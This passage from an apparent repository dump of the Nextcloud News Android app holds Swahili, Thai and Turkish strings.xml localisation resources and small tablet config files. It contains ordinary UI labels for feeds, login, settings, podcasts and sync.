unataka kuondoa Milisho hii? Hili haliwezi kutenduliwa!</string>\n    <string name=\"feed_move_list_description\">Chagua folda ili kuhamisha malisho</string>\n    <string name=\"move_feed_root_folder\">Folda mzizi</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Ondoa folda</string>\n    <string name=\"action_folder_rename\">Rename folder</string>\n    <string name=\"folder_remove_button\">Ondoa</string>\n    <string name=\"folder_rename_button\">Ipe jina jipya</string>\n    <string name=\"confirm_folder_remove\">Je, kweli unataka kuondoa folda hii? Hili haliwezi kutenduliwa!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Pokea arifa za kipekee za mpasho huu</string>\n    <string name=\"notification_feed_default\">Milisho yote iliyo na mipangilio chaguomsingi itaonekana katika arifa moja</string>\n    <string name=\"notification_feed_none\">Hakuna arifa hata kidogo</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Ongeza</string>\n    <string name=\"hint_folder_name\">Jina la kisanduku</string>\n    <string name=\"folder_already_exists\">Folda tayari ipo</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Kuingia kwa mikono</string>\n    <string name=\"login_sso\">Ingia kwa kutumia Nextcloud Files App</string>\n    <string name=\"pref_title_username\">Jina la mtumiaji</string>\n    <string name=\"pref_title_password\">Nenosiri</string>\n    <string name=\"pref_title_owncloudRootPath\">Anwani mzizi ya Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Ingia</string>\n    <string name=\"login_progress_signing_in\">Inaingia...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Sehemu hii inahitajika</string>\n    <string name=\"error_invalid_url\">URL si sahihi</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Marked %d item as read</item>\n        <item quantity=\"other\">Imetia alama vipengee %d kuwa vimesomwa</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Downloaded %d old item</item>\n        <item quantity=\"other\">Imepakua vipengee %d vya zamani</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Hakuna vipengee zaidi vinavyopatikana</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Fetched %d item so far …</item>\n        <item quantity=\"other\">Imeleta vipengee %d kufikia sasa...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Mipangilio</string>\n    <string name=\"cache_is_cleared\">Akiba imefutwa!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Kuu</string>\n    <string name=\"pref_title_general_sort_order\">Namna ya kupanga</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Mpya → Ya zamani</string>\n    <string name=\"pref_general_sort_order_old_new\">Zamani → Mpya</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Kitendo wakati wa kutelezesha kidole kulia</string>\n    <string name=\"pref_rename_action_swipe_left\">Kitendo wakati wa kutelezesha kidole kushoto</string>\n\n    <string name=\"pref_title_general_search_in\">Tafuta Ndani</string>\n\n    <string name=\"pref_general_search_in_title\">Kichwa cha habari</string>\n    <string name=\"pref_general_search_in_body\">Mwili</string>\n    <string name=\"pref_general_search_in_both\">Wote</string>\n\n    <string name=\"dialog_clearing_cache\">Inafuta akiba</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Inafuta akiba. Tafadhali subiri…</string>\n    <string name=\"reset_cache_unsaved_changes\">Kuna mabadiliko ambayo hayajasawazishwa. Je, ungependa kuweka upya akiba hata hivyo?</string>\n    <string name=\"warning\">Onyo</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sawazisha unapoanzisha</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Onyesha makala ambazo hazijasomwa pekee</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Zima Uthibitishaji wa Jina la Mwenyeji</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Abiri na vitufe vya sauti</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Weka alama kama imesomwa wakati wa kusogeza chini</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Sawazisha inaposogezwa hadi chini</string>\n    <string name=\"pref_title_ShowFastActions\">Washa kazi za ufikiaji wa haraka</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Ruka mwonekano wa kina na ufungue makala kwenye kivinjari</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Kitufe cha kurudi hufungua droo</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Kubali Cheti Kisichojulikana?</string>\n    <string name=\"mtm_decision_always\">Daima</string>\n    <string name=\"mtm_decision_abort\">Ondoa</string>\n    <string name=\"mtm_notification\">Uthibitishaji wa Cheti</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Hakuna podikasti iliyochaguliwa</string>\n    <string name=\"no_chapters_available\">Hakuna sura zinazopatikana</string>\n    <string name=\"exit_playback\">Ondoka kwenye Kichezaji</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Kasi ya mshindo nyuma</string>\n    <string name=\"notification_downloading_podcast_title\">Inapakua podikasti</string>\n    <string name=\"dialog_podcast_remove_title\">Una uhakika?</string>\n    <string name=\"dialog_podcast_remove_body\">Je, unataka kuondoa midia iliyopakuliwa kwa %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Imeshindwa kuondoa midia kwa %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Vyombo vya habari kwa %1$s vimeondolewa</string>\n    <string name=\"dialog_podcast_remove_confirm\">Ondoa</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Kuhusu</string>\n    <string name=\"pref_license\">Leseni</string>\n    <string name=\"pref_license_summary\">GNU Leseni ya Umma ya Affero (AGPL) toleo la 3</string>\n    <string name=\"pref_report_issue\">Ripoti tatizo</string>\n    <string name=\"pref_report_issue_summary\">Inahitaji akaunti ya GitHub (huru)</string>\n    <string name=\"pref_contribute\">Changia!</string>\n    <string name=\"pref_contribute_summary\">Pata msimbo wa chanzo</string>\n    <string name=\"pref_privacy\">Faragha</string>\n    <string name=\"pref_privacy_summary\">Sera ya Faragha ya Habari za Nextcloud Android </string>\n    <string name=\"pref_news_policy\">Wasiliana Nasi / Sera ya Habari</string>\n    <string name=\"pref_news_policy_summary\">Sera ya Habari ya Android ya Nextcloud News / Wasiliana Nasi</string>\n    <string name=\"pref_version\">Programu ya Android ya Nextcloud News</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Onyesho</string>\n    <string name=\"pref_title_app_theme\">Mandhari</string>\n    <string name=\"pref_title_feed_list_layout\">Mpangilio wa orodha ya mipasho</string>\n    <string name=\"pref_title_font_size\">Ukubwa wa herufi</string>\n    <string name=\"pref_display_browser\">Kivinjari</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Aikoni za vitendo (Mtazamo wa kina)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Chaguomsingi ya Mfumo</string>\n    <string name=\"pref_display_apptheme_light\">Mwanga</string>\n    <string name=\"pref_display_apptheme_dark\">Giza</string>\n\n    <string name=\"pref_oled_mode\">Mandhari nyeusi</string>\n    <string name=\"pref_oled_mode_summary\">Kwa mandhari meusi kwenye skrini za OLED</string>\n\n    <string name=\"pref_detailed_view_zoom\">Kuza kwa kina mtazamo</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Washa ukuzaji wa maudhui katika mwonekano wa kina</string>\n\n    <string name=\"pref_external_player\">Mchezaji wa nje</string>\n    <string name=\"pref_external_player_summary\">Cheza podikasti katika programu yako chaguomsingi ya midia</string>\n\n    <string name=\"pref_display_browser_cct\">Vichupo-Vilivyojumuishwa vya Chrome</string>\n    <string name=\"pref_display_browser_built_in\">Kivinjari Kilichojengwa ndani</string>\n    <string name=\"pref_display_browser_external\">Kivinjari cha Nje</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Vijipicha (vichwa vya habari pekee)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Picha ndogo ndogo</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Maandishi rahisi</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Vichwa vya habari</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Maandishi kamili</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Mpangilio wa wavuti</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Mwonekano wa kadi</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Ndogo</string>\n    <string name=\"pref_display_font_size_d\">Chaguo msingi</string>\n    <string name=\"pref_display_font_size_l\">Kubwa</string>\n    <string name=\"pref_display_font_size_xl\">Kubwa zaidi</string>\n\n    <string name=\"content_desc_play\">Cheza</string>\n    <string name=\"content_desc_pause\">Sitisha</string>\n    <string name=\"content_desc_playback_speed\">Kasi ya mshindo nyuma</string>\n    <string name=\"content_desc_rewind\">Rudisha nyuma</string>\n    <string name=\"content_desc_forward\">Mbele</string>\n    <string name=\"content_desc_expand\">Panuka</string>\n    <string name=\"content_desc_collapse\">Poromoka</string>\n    <string name=\"content_desc_mark_as_read\">Weka alama kama iliyosomwa</string>\n    <string name=\"content_desc_mark_as_unread\">Weka alama kama haijasomwa</string>\n    <string name=\"content_desc_tap_to_refresh\">Gusa ili kuonyesha upya</string>\n    <string name=\"content_desc_add_to_favorites\">Ongeza kwenye pendwa</string>\n    <string name=\"content_desc_remove_from_favorites\">Ondoa kutoka katika pendwa</string>\n    <string name=\"content_desc_show_password\">Onesha nenosiri</string>\n    <string name=\"content_desc_delete\">Futa</string>\n    <string name=\"content_desc_download\">Pakua</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Hitilafu</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Inaonekana programu yako ya habari haijasakinishwa au kuwezeshwa kwenye seva yako. Tafadhali fuata maagizo yaliyotolewa hapa ili kusanidi programu ya habari kwenye seva yako kwanza: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Hitilafu fulani imetokea :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Programu ya Habari za Wavuti ilirudisha Toleo \\\"0\\\". Tafadhali angalia ripoti ifuatayo ya hitilafu: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Toleo hili la Programu halioani na Programu yako ya Nextcloud News. Tafadhali pata toleo jipya la programu ya habari na mfumo wa programu.</string>\n    <string name=\"login_dialog_title_security_warning\">Onyo la Usalama</string>\n    <string name=\"login_dialog_text_security_warning\">Hutumii HTTPS, ambayo inahimizwa sana. Mshambulizi anaweza kuingilia trafiki yako na kupata ufikiaji wa data nyeti (k.m. nenosiri lako).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Hitilafu fulani imetokea. Tafadhali jaribu tena.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Data &amp; kusawazisha</string>\n    <string name=\"pref_title_clearCache\">Futa akiba</string>\n    <string name=\"pref_title_CacheImagesOffline\">Akiba ya picha nje ya mtandao</string>\n    <string name=\"pref_title_Max_Cache_Size\">Ukubwa wa kiwango cha juu wa akiba</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Kamwe</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Kwa WiFi pekee</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Juu ya WiFi &amp; Simu ya Mkononi</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Uliza wakati haujaunganishwa kwenye WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Kamwe</string>\n    <string name=\"array_sync_interval_min_5\">Dakika 5</string>\n    <string name=\"array_sync_interval_min_15\">Dakika 15</string>\n    <string name=\"array_sync_interval_min_30\">Dakika 30</string>\n    <string name=\"array_sync_interval_min_45\">Dakika 45</string>\n    <string name=\"array_sync_interval_hour_1\">Saa 1</string>\n    <string name=\"array_sync_interval_hour_2\">Masaa 2</string>\n    <string name=\"array_sync_interval_hour_3\">Masaa 3</string>\n    <string name=\"array_sync_interval_hour_6\">Masaa 6</string>\n    <string name=\"array_sync_interval_hour_12\">Masaa 12</string>\n    <string name=\"array_sync_interval_hour_24\">Masaa 24</string>\n    <string name=\"switch_account\">Badili akaunti</string>\n    \n    <string name=\"successfully_exported\">Kwa mafanikio imetumwa kwa:</string>\n    <string name=\"opml_export\">Usafirishaji wa OPML</string>\n    <string name=\"parsing_opml\">Inachanganua OPML</string>\n    <string name=\"please_wait\">Tafadhali subiri...</string>\n    <string name=\"interval_sync_title\">Usawazishaji wa Muda</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-sw600dp/config.xml",
    "content": "<resources>\n    <bool name=\"isTablet\">true</bool>\n</resources>"
  },
  {
    "path": "News-Android-App/src/main/res/values-sw720dp-land/dimens.xml",
    "content": "<resources>\n\n    <!--\n         Customize dimensions originally defined in res/values/dimens.xml (such as\n         screen margins) for sw720dp devices (e.g. 10\" tablets) in landscape here.\n    -->\n    <dimen name=\"activity_horizontal_margin\">128dp</dimen>\n\n</resources>"
  },
  {
    "path": "News-Android-App/src/main/res/values-th-rTH/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">ซิงค์อัตโนมัติ</string>\n    <string name=\"empty_view_content\">ไม่มีรายการที่นี่</string>\n    <string name=\"empty_view_content_action\">ดึงลงเพื่อรีเฟรช</string>\n    <string name=\"no_wifi_available\">ไม่ได้เชื่อมต่อ WiFi</string>\n    <string name=\"current_version\">คุณกำลังใช้รุ่น %s</string>\n    <string name=\"widget_header\">Nextcloud ข่าว</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"other\">มี %d รายการใหม่</item>\n    </plurals>\n    <string name=\"message_bar_reload\">โหลดใหม่</string>\n    <string name=\"allUnreadFeeds\">รายการที่ยังไม่ได้อ่านทั้งหมด</string>\n    <string name=\"starredFeeds\">รายการที่ติดดาว</string>\n    <string name=\"title_activity_new_feed\">เพิ่มฟีดใหม่</string>\n\n    <string name=\"menu_update\">รีเฟรช</string>\n    <string name=\"menu_markAllAsRead\">เปลี่ยนทั้งหมดเป็นอ่านแล้ว</string>\n    <string name=\"menu_StartImageCaching\">ดาวน์โหลดรูปภาพ</string>\n    <string name=\"menu_downloadMoreItems\">ดาวน์โหลดรายการเพิ่มเติม</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">ติดดาวแล้ว</string>\n    <string name=\"action_read\">อ่านแล้ว</string>\n    <string name=\"action_playPodacst\">เล่นพอดคาสต์</string>\n    <string name=\"action_openInBrowser\">เปิดในเว็บเบราว์เซอร์</string>\n    <string name=\"action_Share\">แชร์</string>\n    <string name=\"action_login\">การตั้งค่าเซิร์ฟเวอร์</string>\n    <string name=\"action_save\">บันทึก</string>\n    <string name=\"action_settings\">การตั้งค่า</string>\n    <string name=\"action_sync_settings\">การตั้งค่าการซิงค์</string>\n    <string name=\"action_add_new_feed\">เพิ่มฟีดใหม่</string>\n    <string name=\"action_textToSpeech\">อ่านออก</string>\n    <string name=\"action_search\">ค้นหา</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"other\">คุณมี %d รายการใหม่ที่ยังไม่ได้อ่าน</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"other\">มี %d รายการใหม่ที่ยังไม่ได้อ่าน</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL ฟีด</string>\n    <string name=\"action_add_feed\">เพิ่มฟีด</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">ดาวน์โหลดรูปภาพ</string>\n    <string name=\"action_img_sharelink\">แชร์ลิงก์รูปภาพ</string>\n    <string name=\"action_img_open\">เปิดรูปในเบราว์เซอร์</string>\n    <string name=\"action_img_copylink\">คัดลอกลิงก์รูปภาพ</string>\n    <string name=\"action_link_share\">แชร์ลิงก์</string>\n    <string name=\"action_link_open\">เปิดลิงก์ในเบราว์เซอร์</string>\n    <string name=\"action_link_copy\">คัดลอกลิงก์</string>\n    <string name=\"toast_img_notwriteable\">เขียนรูปภาพล้มเหลว</string>\n    <string name=\"toast_copied_to_clipboard\">คัดลอกไปยังคลิปบอร์ดแล้ว</string>\n    <string name=\"error_download_failed\">ดาวน์โหลดล้มเหลว</string>\n    <string name=\"intent_title_share\">แชร์ผ่าน</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">ลบฟีด</string>\n    <string name=\"action_feed_rename\">เปลี่ยนชื่อฟีด</string>\n    <string name=\"feed_remove_button\">ลบออก</string>\n    <string name=\"feed_rename_button\">เปลี่ยนชื่อ</string>\n    <string name=\"confirm_feed_remove\">คุณต้องการลบฟีดนี้หรือไม่? หากลบแล้วจะกู้คืนไม่ได้!</string>\n    <string name=\"action_folder_rename\">เปลี่ยนชื่อโฟลเดอร์</string>\n    <string name=\"folder_remove_button\">ลบออก</string>\n    <string name=\"folder_rename_button\">เปลี่ยนชื่อ</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">เพิ่ม</string>\n    <string name=\"hint_folder_name\">ชื่อโฟลเดอร์</string>\n    <string name=\"pref_title_username\">ชื่อผู้ใช้</string>\n    <string name=\"pref_title_password\">รหัสผ่าน</string>\n    <string name=\"pref_title_owncloudRootPath\">ที่อยู่รากของ Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">เข้าสู่ระบบ</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">ต้องใส่ข้อมูลในช่องนี้</string>\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"other\">ดาวน์โหลด %d รายการเก่าแล้ว</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">ไม่มีรายการเพิ่มเติม</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">การตั้งค่า</string>\n    <string name=\"cache_is_cleared\">ล้างแคชแล้ว!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">ทั่วไป</string>\n    <string name=\"pref_title_general_sort_order\">เรียงลำดับรายการ</string>\n\n    <string name=\"pref_general_search_in_title\">ชื่อเรื่อง</string>\n    <string name=\"dialog_clearing_cache\">กำลังล้างแคช</string>\n    <string name=\"reset_cache_unsaved_changes\">มีการเปลี่ยนแปลงที่ไม่ได้ซิงโครไนซ์ คุณต้องการรีเซ็ตแคชต่อไปหรือไม่?</string>\n    <string name=\"warning\">คำเตือน</string>\n    <string name=\"pref_title_AutoSyncOnStart\">ซิงค์ตอนเริ่มระบบ</string>\n    <string name=\"pref_title_ShowOnlyUnread\">แสดงบทความที่ยังไม่ได้อ่านเท่านั้น</string>\n    <string name=\"pref_title_DisableHostnameVerification\">ปิดใช้งานการตรวจสอบชื่อโฮสต์</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">นำทางด้วยปุ่มปรับระดับเสียง</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">ทำเครื่องหมายว่าอ่านขณะที่เลื่อน</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">ยอมรับใบรับรองที่ไม่รู้จักหรือไม่</string>\n    <string name=\"mtm_decision_always\">เสมอ</string>\n    <string name=\"mtm_decision_abort\">ยกเลิก</string>\n    <string name=\"mtm_notification\">การตรวจสอบใบรับรอง</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">ไม่ได้เลือกพอดคาสต์</string>\n    <string name=\"no_chapters_available\">ไม่มีบทที่สามารถใช้ได้</string>\n    <string name=\"dialog_podcast_remove_title\">คุณแน่ใจหรือไม่?</string>\n    <string name=\"dialog_podcast_remove_confirm\">ลบออก</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">เกี่ยวกับ</string>\n    <string name=\"pref_license\">สัญญาอนุญาต</string>\n    <string name=\"pref_privacy\">ความเป็นส่วนตัว</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">การแสดงผล</string>\n    <string name=\"pref_title_app_theme\">ธีม</string>\n    <string name=\"pref_title_feed_list_layout\">รูปแบบรายการฟีด</string>\n    <string name=\"pref_title_font_size\">ขนาดตัวอักษร</string>\n    <string name=\"pref_display_apptheme_auto\">ค่าเริ่มต้นของระบบ</string>\n    <string name=\"pref_display_apptheme_light\">สว่าง</string>\n    <string name=\"pref_display_apptheme_dark\">มืด</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">เล็ก</string>\n    <string name=\"pref_display_font_size_d\">ค่าเริ่มต้น</string>\n    <string name=\"pref_display_font_size_l\">ใหญ่</string>\n    <string name=\"content_desc_play\">เล่น</string>\n    <string name=\"content_desc_pause\">หยุดชั่วคราว</string>\n    <string name=\"content_desc_forward\">ส่งต่อ</string>\n    <string name=\"content_desc_collapse\">ย่อ</string>\n    <string name=\"content_desc_add_to_favorites\">เพิ่มในรายการโปรด</string>\n    <string name=\"content_desc_remove_from_favorites\">เอาออกจากรายการโปรด</string>\n    <string name=\"content_desc_show_password\">แสดงรหัสผ่าน</string>\n    <string name=\"content_desc_delete\">ลบ</string>\n    <string name=\"content_desc_download\">ดาวน์โหลด</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">ข้อผิดพลาด</string>\n    <string name=\"login_dialog_text_something_went_wrong\">เกิดข้อผิดพลาดบางอย่าง :(</string>\n    <string name=\"login_dialog_title_security_warning\">คำเตือนความปลอดภัย</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">ข้อมูลและการซิงค์</string>\n    <string name=\"pref_title_clearCache\">ล้างแคช</string>\n    <string name=\"pref_title_CacheImagesOffline\">แคชรูปภาพออฟไลน์</string>\n    <string name=\"pref_title_Max_Cache_Size\">ขนาดแคชสูงสุด</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">ไม่เคย</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">เฉพาะ WiFi เท่านั้น</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">เฉพาะ WiFi และเครือข่ายมือถือ</string>\n    <string name=\"pref_data_sync_image_cache_ask\">ถามเมื่อไม่ได้เชื่อมต่อกับ WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">ไม่เคย</string>\n    <string name=\"array_sync_interval_min_30\">30 นาที</string>\n    <string name=\"array_sync_interval_hour_1\">1 ชั่วโมง</string>\n    <string name=\"switch_account\">สลับบัญชี</string>\n    \n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-tr/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Otomatik eşitleme</string>\n    <string name=\"title_activity_sync_interval_selector\">Eşitleme sıklığı</string>\n    <string name=\"empty_view_content\">Burada herhangi bir öge yok</string>\n    <string name=\"empty_view_content_action\">Yenilemek için aşağı çekin</string>\n    <string name=\"toast_GettingMoreItems\">Diğer ögelerin indirilmesine başlandı. Lütfen bekleyin…</string>\n    <string name=\"no_wifi_available\">Kablosuz ağ bağlantısı kurulmamış</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Görselleri bir kablosuz ağ bağlantısı olmadan indirmek ister misiniz?</string>\n    <string name=\"current_version\">%s sürümünü kullanıyorsunuz</string>\n    <string name=\"widget_header\">Nextcloud News</string>\n    <string name=\"message_bar_scroll_top\">Yeniden yükle ve üste kaydır</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d yeni öge var</item>\n        <item quantity=\"other\">%d yeni öge var</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Yeniden yükle</string>\n    <string name=\"allUnreadFeeds\">Tüm okunmamış ögeler</string>\n    <string name=\"starredFeeds\">Yıldızlanmış ögeler</string>\n    <string name=\"downloadedPodcasts\">İndirilmiş Podcast ortamları</string>\n    <string name=\"title_activity_new_feed\">Yeni akış ekle</string>\n\n    <string name=\"menu_update\">Yenile</string>\n    <string name=\"menu_markAllAsRead\">Tümünü okunmuş işaretle</string>\n    <string name=\"menu_StartImageCaching\">Görselleri indir</string>\n    <string name=\"menu_downloadMoreItems\">Diğer ögeleri indir</string>\n\n    <string name=\"tv_showing_cached_version\">Ön bellekteki sürüm görüntüleniyor</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Yıldızlanmış</string>\n    <string name=\"action_read\">Oku</string>\n    <string name=\"action_playPodacst\">Podcast oynat</string>\n    <string name=\"action_removePodcast\">Podcast ortamını sil</string>\n    <string name=\"action_openInBrowser\">Tarayıcıda aç</string>\n    <string name=\"action_Share\">Paylaş</string>\n    <string name=\"action_login\">Sunucu ayarları</string>\n    <string name=\"action_save\">Kaydet</string>\n    <string name=\"action_settings\">Ayarlar</string>\n    <string name=\"action_sync_settings\">Eşitleme ayarları</string>\n    <string name=\"action_add_new_feed\">Yeni akış ekle</string>\n    <string name=\"action_add_new_folder\">Yeni klasör ekle</string>\n    <string name=\"action_textToSpeech\">Sesli oku</string>\n    <string name=\"action_search\">Arama</string>\n    <string name=\"action_download_articles_offline\">Yazıları çevrim dışı olarak indir</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Yazılar çevrim dışı kullanılmak üzere indiriliyor</string>\n    <string name=\"notification_download_images_offline\">Görseller çevrim dışı kullanım için indiriliyor</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Yeni %d okunmamış ögeniz var</item>\n        <item quantity=\"other\">Okunmamış %d yeni ögeniz var</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">Okunmamış %d yeni öge var</item>\n        <item quantity=\"other\">Okunmamış %d yeni öge var</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Akış adresi</string>\n    <string name=\"action_add_feed\">Akış ekle</string>\n    <string name=\"import_opml\">İçe OPML aktar</string>\n    <string name=\"export_opml\">Dışa OPML aktar</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Görseli indir</string>\n    <string name=\"action_img_sharelink\">Görsel bağlantısını paylaş</string>\n    <string name=\"action_img_open\">Görseli tarayıcıda aç</string>\n    <string name=\"action_img_copylink\">Görsel bağlantısını kopyala</string>\n    <string name=\"action_link_share\">Paylaşım bağlantısı</string>\n    <string name=\"action_link_open\">Bağlantıyı tarayıcıda aç</string>\n    <string name=\"action_link_copy\">Bağlantıyı kopyala</string>\n    <string name=\"toast_img_download_wait\">İndiriliyor. Lütfen bekleyin…</string>\n    <string name=\"toast_img_saved\">Görsel kaydedildi</string>\n    <string name=\"toast_img_notwriteable\">Görsel diske yazılamadı.</string>\n    <string name=\"toast_copied_to_clipboard\">Panoya kopyalandı</string>\n    <string name=\"error_download_failed\">İndirilemedi</string>\n    <string name=\"intent_title_share\">Şununla paylaş</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Akışı sil</string>\n    <string name=\"action_feed_rename\">Akışı yeniden adlandır</string>\n    <string name=\"action_feed_move\">Akışı taşı</string>\n    <string name=\"action_feed_notification_settings\">Bildirim ayarları</string>\n    <string name=\"action_feed_open_in\">Açılış ayarları</string>\n    <string name=\"action_feed_open_in_general_setting\">Genel ayarlar kullanılsın</string>\n    <string name=\"action_feed_open_in_detailed_view\">Ayrıntılı görünüm</string>\n    <string name=\"feed_remove_button\">Sil</string>\n    <string name=\"feed_rename_button\">Yeniden adlandır</string>\n    <string name=\"confirm_feed_remove\">Bu akışı silmek istediğinize emin misiniz? Bu işlem geri alınamaz!</string>\n    <string name=\"feed_move_list_description\">Akışın içine taşınacağı klasörü seçin</string>\n    <string name=\"move_feed_root_folder\">Kök klasör</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Klasörü sil</string>\n    <string name=\"action_folder_rename\">Klasörü yeniden adlandır</string>\n    <string name=\"folder_remove_button\">Kaldır</string>\n    <string name=\"folder_rename_button\">Yeniden adlandır</string>\n    <string name=\"confirm_folder_remove\">Bu klasörü silmek istediğinize emin misiniz? Bu işlem geri alınamaz!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Bu akışın benzersiz bildirimlerini al</string>\n    <string name=\"notification_feed_default\">Varsayılan ayarlardaki tüm bildirimler bir bildirim olarak görüntülenecek</string>\n    <string name=\"notification_feed_none\">Henüz bir bildirim yok</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Ekle</string>\n    <string name=\"hint_folder_name\">Klasör adı</string>\n    <string name=\"folder_already_exists\">Klasör zaten var</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">El ile oturum açma</string>\n    <string name=\"login_sso\">Nextcloud Dosyalar 